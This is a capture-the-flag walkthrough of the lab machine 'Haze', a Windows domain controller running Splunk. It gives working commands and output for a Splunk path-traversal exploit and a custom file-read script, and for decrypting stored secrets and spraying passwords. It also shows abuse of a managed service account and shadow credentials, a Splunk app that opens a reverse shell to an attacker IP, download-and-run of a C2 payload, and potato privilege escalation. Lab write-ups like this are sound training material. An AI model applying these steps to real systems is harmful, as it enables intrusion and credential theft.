Machine Card showing Haze as a hard Windows machine

Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-18 19:25:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.232.50:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8088/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
8089/tcp  open  ssl/http      Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
|_http-title: splunkd
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
51552/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51554/tcp open  msrpc         Microsoft Windows RPC
51557/tcp open  msrpc         Microsoft Windows RPC
51571/tcp open  msrpc         Microsoft Windows RPC
51585/tcp open  msrpc         Microsoft Windows RPC
51604/tcp open  msrpc         Microsoft Windows RPC
51669/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 8h00m00s
| smb2-time:
|   date: 2025-05-18T19:26:48
|_  start_date: N/A

The nmap scan comes back with a lot of ports. Ports like kerberos and ldap indicate I’m dealing with a Domain Controller called DC01 for the haze.htb domain. I’ll add the domain, host and FQDN to my /etc/hosts file.

Splunk was identified to be running on the host and that’s highly unusual.

Initial Access

Checking out the ports 8000, 8088 and 8089 associated with Splunk reveals the version number 9.2.1. Unfortunately trying some common credentials at the login prompt is not successful.

An online search for known vulnerabilities in this version finds a proof-of-concept for CVE-2024-36991, a path traversal that can be used to leak files on the target.

The PoC script works and dumps the hashes for four accounts, but unfortunately none of them seem to be crackable.

$ python3 CVE-2024-36991.py -u http://dc01.haze.htb:8000
                                                                        
  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _ 
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|
                                                                           
-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file. 
-> By x.com/MohamedNab1l
-> Use Wisely.
 
[INFO] Log directory created: logs
[INFO] Testing single target: http://dc01.haze.htb:8000
[VLUN] Vulnerable: http://dc01.haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152

Since the path to /etc/passwd is hardcoded I quickly create my own script continuously asks for an input file to retrieve.

exploit.py
import requests
 
URL = 'http://dc01.haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:..'
SESSION = requests.Session()
 
 
def main():
    while True:
        f = input('file > ')
        resp = SESSION.get(URL + f)
        if 'Page not found!' not in resp.text:
            print(resp.text)
        else:
            print('File not found')
 
 
if __name__ == '__main__':
    try:
        main()
    except (KeyboardInterrupt, EOFError):
        pass

Splunk saves secrets and passwords in many different files. One of them is authentication.conf1 and that contains the bind user that powers the LDAP authentication. The file is present on the target and lists the user Paul Taylor and something that looks like a hash. Actually the passwords in the configuration files are encrypted with the secret in splunk.secret2 and that’s also available to me.

$ python3 exploit.py
file > /etc/system/local/authentication.conf
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
 
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
 
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
 
file > /etc/auth/splunk.secret
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

In order to decrypt the password I use splunksecrets, provide the file with the splunk.secret and pass the encrypted string. This returns the password Ld@p_Auth_Sp1unk@2k24.

$ splunksecrets splunk-decrypt --splunk-secret splunk.secret
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24

Using the Distinguished Name (DN) does not work for any bind operation but trying some obvious combinations eventually finds the correct username paul.taylor.

$ nxc ldap dc01.haze.htb -u paul.taylor \
                         -p 'Ld@p_Auth_Sp1unk@2k24' \
                         -M whoami
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAP        10.129.232.50   389    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24 
WHOAMI      10.129.232.50   389    DC01             distinguishedName: CN=Paul Taylor,OU=Restricted Users,DC=haze,DC=htb
WHOAMI      10.129.232.50   389    DC01             Member of: CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
WHOAMI      10.129.232.50   389    DC01             name: Paul Taylor
WHOAMI      10.129.232.50   389    DC01             Enabled: Yes
WHOAMI      10.129.232.50   389    DC01             Password Never Expires: Yes
WHOAMI      10.129.232.50   389    DC01             Last logon: 0
WHOAMI      10.129.232.50   389    DC01             pwdLastSet: 133920748672848579
WHOAMI      10.129.232.50   389    DC01             logonCount: 0
WHOAMI      10.129.232.50   389    DC01             sAMAccountName: paul.taylor

Privilege Escalation

Shell as mark.adams

The password itself does not sound very personalized, therefore I dump all the users with --rid-brute in nxc to a file and then spray the password against this list. This way I find another user with the same password: mark.adams.

$ nxc smb dc01.haze.htb -u paul.taylor \
                        -p 'Ld@p_Auth_Sp1unk@2k24' \
                        --rid-brute \
                        | grep 'SidTypeUser' \
                        | awk '{print $6}' \
                        | cut -d '\' -f2 \
                        | tee users.txt
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
 
$ nxc smb dc01.haze.htb -u users.txt \
                        -p 'Ld@p_Auth_Sp1unk@2k24' \
                        --continue-on-success \
                        | grep '[+]'
SMB                      10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24 
SMB                      10.129.232.50   445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24

Having a look at the group membership reveals the group REMOTE MANAGEMENT USERS and I can use this account to get a shell on the domain controller with evil-winrm. I follow that up by uploading my Sliver payload.

$ nxc ldap dc01.haze.htb -u mark.adams \
                         -p 'Ld@p_Auth_Sp1unk@2k24' \
                         -M whoami
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAP        10.129.232.50   389    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 
WHOAMI      10.129.232.50   389    DC01             distinguishedName: CN=Mark Adams,CN=Users,DC=haze,DC=htb
WHOAMI      10.129.232.50   389    DC01             Member of: CN=gMSA_Managers,CN=Users,DC=haze,DC=htb
WHOAMI      10.129.232.50   389    DC01             Member of: CN=Remote Management Users,CN=Builtin,DC=haze,DC=htb
WHOAMI      10.129.232.50   389    DC01             name: Mark Adams
WHOAMI      10.129.232.50   389    DC01             Enabled: Yes
WHOAMI      10.129.232.50   389    DC01             Password Never Expires: Yes
WHOAMI      10.129.232.50   389    DC01             Last logon: 133857078823159294
WHOAMI      10.129.232.50   389    DC01             pwdLastSet: 133920763678004318
WHOAMI      10.129.232.50   389    DC01             logonCount: 5
WHOAMI      10.129.232.50   389    DC01             sAMAccountName: mark.adams

Shell as edward.martin

To start things off I run bloodhound-ce-python to collect the data for BloodHound.

$ bloodhound-ce-python -d haze.htb \
                       -dc dc01.haze.htb \
                       -u mark.adams \
                       -p 'Ld@p_Auth_Sp1unk@2k24' \
                       -c ALL \
                       --zip \
                       -ns 10.129.232.50
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 04S
INFO: Compressing output into 20250518150716_bloodhound.zip

Even though the user is also part of the group gMSA_Managers there are no outbound edges towards the account HAZE-IT-BACKUP$ in the Managed Service Accounts organizational unit. To make sure the bloodhound-ce-python has not missed any ACLs I run Get-DomainObjectACL from PowerView to find rights associated with the SID of the gMSA_Managers group.

sliver (mark.adams) > sharpsh -- '-u http://10.10.10.10/PowerView.ps1 -e -c JHNpZCA9IENvbnZlcnRUby1TaWQgJ2dNU0FfTWFuYWdlcnMnO0dldC1Eb21haW5PYmplY3RBQ0wgLUlkZW50aXR5IEhhemUtSVQtQmFja3VwJCB8ID97JF8uU2VjdXJpdHlJZGVudGlmaWVyIC1lcSAkc2lkIH0='
# $sid = ConvertTo-Sid 'gMSA_Managers';
# Get-DomainObjectACL -Identity Haze-IT-Backup$ | ?{$_.SecurityIdentifier -eq $sid }
[*] sharpsh output:
 
 
 
ObjectDN               : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID              : S-1-5-21-323145914-28650650-2368316563-1111
ActiveDirectoryRights  : WriteProperty
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 888eedd6-ce04-df40-b462-b8a50e41ba38
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 32
SecurityIdentifier     : S-1-5-21-323145914-28650650-2368316563-1107
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None
 
ObjectDN              : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID             : S-1-5-21-323145914-28650650-2368316563-1111
ActiveDirectoryRights : ReadProperty, GenericExecute
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131092
SecurityIdentifier    : S-1-5-21-323145914-28650650-2368316563-1107
AceType               : AccessAllowed
AceFlags              : None
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None
AuditFlags            : None

Apparently the group has the ability to modify properties of the HAZE-IT-BACKUP$ account. I can use this to add the account mark.adams to the attribute PrincipalsAllowedToRetrieveManagedPassword 3. Then I can run GMSAPasswordReader to retrieve the NTLM hash of the managed service account.

sliver (mark.adams) > sharpsh -- '-e -c U2V0LUFEU2VydmljZUFjY291bnQgLUlkZW50aXR5IEhhemUtSVQtQmFja3VwJCAtUHJpbmNpcGFsc0FsbG93ZWRUb1JldHJpZXZlTWFuYWdlZFBhc3N3b3JkIG1hcmsuYWRhbXM='
# Set-ADServiceAccount -Identity Haze-IT-Backup$ -PrincipalsAllowedToRetrieveManagedPassword mark.adams
 
[*] sharpsh output:
 
sliver (mark.adams) > execute-assembly -- GMSAPasswordReader.exe --AccountName Haze-IT-Backup$
 
[*] Output:
Calculating hashes for Old Value
[*] Input username             : Haze-IT-Backup$
[*] Input domain               : HAZE.HTB
[*] Salt                       : HAZE.HTBHaze-IT-Backup$
[*]       rc4_hmac             : A70DF6599D5EAB1502B38F9C1C3FD828
[*]       aes128_cts_hmac_sha1 : B42551342A1FEF223A8BB3E98FC3C4A4
[*]       aes256_cts_hmac_sha1 : 833F036D5BCCECBAEA1EE78FC4BFCA1DDE8A3DDB9219D3AFC86DEC06C19A3FDC
[*]       des_cbc_md5          : C79129130BEC80F2
 
Calculating hashes for Current Value
[*] Input username             : Haze-IT-Backup$
[*] Input domain               : HAZE.HTB
[*] Salt                       : HAZE.HTBHaze-IT-Backup$
[*]       rc4_hmac             : 84D6A733D85D9E03F46EBA25B34517A9
[*]       aes128_cts_hmac_sha1 : 1F5BA1BC7AB8BE4D7ED051DC3E9C45C6
[*]       aes256_cts_hmac_sha1 : C455B59A278BFC27801245F81D61CF0B1D66D3CDAD4B4AB58B6C852141BA8B69
[*]       des_cbc_md5          : 9EA2310B9D2A94AB

While looking through the BloodHound data collected with mark.adams I’ve noticed some accounts missing that were present in the rid-brute. Therefore I run the collection again with the HAZE-IT-BACKUP$ account by providing the hash 84D6A733D85D9E03F46EBA25B34517A9.

$ bloodhound-ce-python -d haze.htb \
                       -dc dc01.haze.htb \
                       -u 'HAZE-IT-BACKUP$' \
                       --hashes :84D6A733D85D9E03F46EBA25B34517A9 \
                       -c ALL \
                       --zip \
                       -ns 10.129.232.50
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 05S
INFO: Compressing output into 20250518165100_bloodhound.zip
 

After loading the new data into BloodHound there’s a new edge towards edward.martin visible. The service account can modify the owner of the SUPPORT_SERVICES group, effectively adding itself, and then add Shadow Credentials to the user edward.martin.

BloodHound showing the connection between HAZE-IT-BACKUP$ and edward.martin

First I replace the owner of SUPPORT_SERVICES by HAZE-IT-BACKUP$ with bloodyAD. This allows me to grant GenericAll and then add the account to the group itself.

$ bloodyAD --host 'dc01.haze.htb' \
           -d 'haze.htb' \
           -u 'haze-it-backup$' \
           -p ':84D6A733D85D9E03F46EBA25B34517A9' \
           set owner 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by HAZE-IT-BACKUP$ on SUPPORT_SERVICES
 
$ bloodyAD --host 'dc01.haze.htb' \
           -d 'haze.htb' \
           -u 'haze-it-backup$' \
           -p ':84D6A733D85D9E03F46EBA25B34517A9' \
           add genericAll 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ has now GenericAll on SUPPORT_SERVICES
 
$ bloodyAD --host 'dc01.haze.htb' \
           -d 'haze.htb' \
           -u 'haze-it-backup$' \
           -p ':84D6A733D85D9E03F46EBA25B34517A9' \
           add groupMember 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ added to SUPPORT_SERVICES

Next I’ll use certipy to automatically add new shadow credentials, retrieve the NTLM hash for edward.martin and then remove the credential link again. Since this interaction relies on Kerberos I fake the time because the Domain Controller is 8 hours ahead. I obtain the hash 09e0b3eeb2e7a6b0d419e9ff8f4d91af and can use it to execute my Sliver payload on the host.

$ faketime -f +8h certipy-ad shadow \
                             -account edward.martin \
                             -u 'haze-it-backup$@haze.htb' \
                             -hashes ':84D6A733D85D9E03F46EBA25B34517A9' \
                             auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '3cbf0790-5401-d10c-82e3-4dd7620c139d'
[*] Adding Key Credential with device ID '3cbf0790-5401-d10c-82e3-4dd7620c139d' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '3cbf0790-5401-d10c-82e3-4dd7620c139d' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Shell as alexander.green

sliver (edward.martin) > sa-whoami                                                                     
[*] Successfully executed sa-whoami (coff-loader)                                                                                                                                                                                            
[*] Got output:
 
UserName                SID
====================== ==================================== 
HAZE\edward.martin      S-1-5-21-323145914-28650650-2368316563-1105
 
 
GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
HAZE\Domain Users                                 Group                    S-1-5-21-323145914-28650650-2368316563-513    Mandatory group, Enabled by default, Enabled group, 
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Remote Management Users                   Alias                    S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Users                                     Alias                    S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Pre-Windows 2000 Compatible Access        Alias                    S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Certificate Service DCOM Access           Alias                    S-1-5-32-574                                  Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\NETWORK                              Well-known group         S-1-5-2                                       Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\Authenticated Users                  Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\This Organization                    Well-known group         S-1-5-15                                      Mandatory group, Enabled by default, Enabled group, 
HAZE\Backup_Reviewers                             Group                    S-1-5-21-323145914-28650650-2368316563-1109   Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\NTLM Authentication                  Well-known group         S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group, 
Mandatory Label\Medium Plus Mandatory Level       Label                    S-1-16-8448                                   Mandatory group, Enabled by default, Enabled group, 
 
 
Privilege Name                Description                                       State                         
============================= ================================================= ===========================
SeMachineAccountPrivilege     Add workstations to domain                        Enabled                       
SeChangeNotifyPrivilege       Bypass traverse checking                          Enabled                       
SeIncreaseWorkingSetPrivilege Increase a process working set                    Enabled

The user edward.martin is part of the Backup Reviewers group and I quickly find the Backups folder in the root directory of the C: drive. It apparently contains a backup of Splunk and I download the archive through Sliver.

sliver (edward.martin) > download /Backups/splunk/splunk_backup_2024-08-06.zip splunk_backup_2024-08-06.zip
 
[*] Wrote 27445566 bytes (1 file successfully, 0 files unsuccessfully) to splunk_backup_2024-08-06.zip

Repeating the steps from the beginning and checking out the stored authentication material in the backup finds another bind user called alexander.green and its encrypted password.

/Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
[default]
 
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
 
 
[Haze LDAP Auth]
 
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
 
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

Another splunk.secret was used to encrypt the string but luckily it’s also part of the archived data.

splunk.secret
CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B

Once again using splunksecrets I recover the password Sp1unkadmin@2k24 but the password is not valid anymore for the specified account.

$ splunksecrets splunk-decrypt --splunk-secret splunk.secret.bak
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24

It does grant me access as admin to the Splunk interface on http://dc01.haze.htb:8000 though.

Access to the Splunk dashboard as administrator

As Administrator I can also install new apps. One of those can be reverse_shell_splunk that runs a reverse shell payload right after installing it. I clone the repository, insert my IP and port into the PowerShell script, and then create the spl file as instructed in the README of the repository.

$ git clone https://github.com/0xjpuff/reverse_shell_splunk & cd reverse_shell_splunk

$ sed -i \
      -e 's#attacker_ip_here#10.10.10.10#g' \
      -e 's#attacker_port_here#4444#g' \
      reverse_shell_splunk/bin/run.ps1

$ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/run.bat

$ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

Navigating to Apps Manage Apps Install app from file, I can select the generated spl file and upload it. Before doing so I start my local listener.

Upload form in Splunk to install a new app from file

Right after clicking the button there’s a callback as alexander.green and I use this shell to run my Sliver payload.

$ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.174] from (UNKNOWN) [10.129.232.50] 50611
 
PS C:\Windows\system32> mkdir \tools
 
 
    Directory: C:\
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/18/2025   4:29 PM                tools
 
 
PS C:\Windows\system32> iwr http://10.10.14.174/haze.exe -useba -outfile C:\tools\r.exe
PS C:\Windows\system32> & C:\tools\r.exe

Shell as SYSTEM

Looking at the privileges associated with the account alexander.green the SeImpersonatePrivilege stands out and I can use it to escalate to SYSTEM.

sliver (alexander.green) > getprivs
 
Privilege Information for r.exe (PID: 5048)
-------------------------------------------
 
Process Integrity Level: High
 
Name                            Description                                     Attributes
====                            ===========                                     ==========
SeMachineAccountPrivilege       Add workstations to domain                      Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                        Enabled, Enabled by Default
SeImpersonatePrivilege          Impersonate a client after authentication       Enabled, Enabled by Default
SeCreateGlobalPrivilege         Create global objects                           Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege   Increase a process working set                  Disabled

Through the Sliver session I execute SigmaPotato and call my previously uploaded Sliver binary. This initiates a new connection as SYSTEM and I can read the final flag.

sliver (alexander.green) > execute-assembly -t 5 -- /home/ryuki/tools/potato/SigmaPotato/SigmaPotato.exe C:\\tools\\r.exe
 
[!] rpc error: code = Unknown desc = implant timeout
[*] Session 0000... haze - 10.129.232.50:50695 (dc01) - windows/amd64
 
sliver (alexander.green) > use 0000...
 
sliver (SYSTEM) > sa-whoami
 
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
 
UserName                SID
====================== ====================================
HAZE\DC01$      S-1-5-18
 
 
GROUP INFORMATION                                 Type                     SID                                          Attributes
================================================= ===================== ============================================= ==================================================
Mandatory Label\System Mandatory Level            Label                    S-1-16-16384                                  Mandatory group, Enabled by default, Enabled group,
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users                                     Alias                    S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group,
BUILTIN\Certificate Service DCOM Access           Alias                    S-1-5-32-574                                  Mandatory group, Enabled by default, Enabled group,
BUILTIN\Pre-Windows 2000 Compatible Access        Alias                    S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\SERVICE                              Well-known group         S-1-5-6                                       Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users                  Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization                    Well-known group         S-1-5-15                                      Mandatory group, Enabled by default, Enabled group,
NT SERVICE\BrokerInfrastructure                   Well-known group         S-1-5-80-1988685059-1921232356-378231328-2704142597-890457928 Enabled by default, Enabled group, Group owner,
NT SERVICE\DcomLaunch                             Well-known group         S-1-5-80-1601830629-990752416-3372939810-977361409-3075122917 Enabled by default, Enabled group, Group owner,
NT SERVICE\DeviceInstall                          Well-known group         S-1-5-80-2659457741-469498900-3203170401-3149177360-3048467625 Enabled by default, Group owner,
NT SERVICE\LSM                                    Well-known group         S-1-5-80-1230977110-1477712667-2747199032-477530733-939374687 Enabled by default, Group owner,
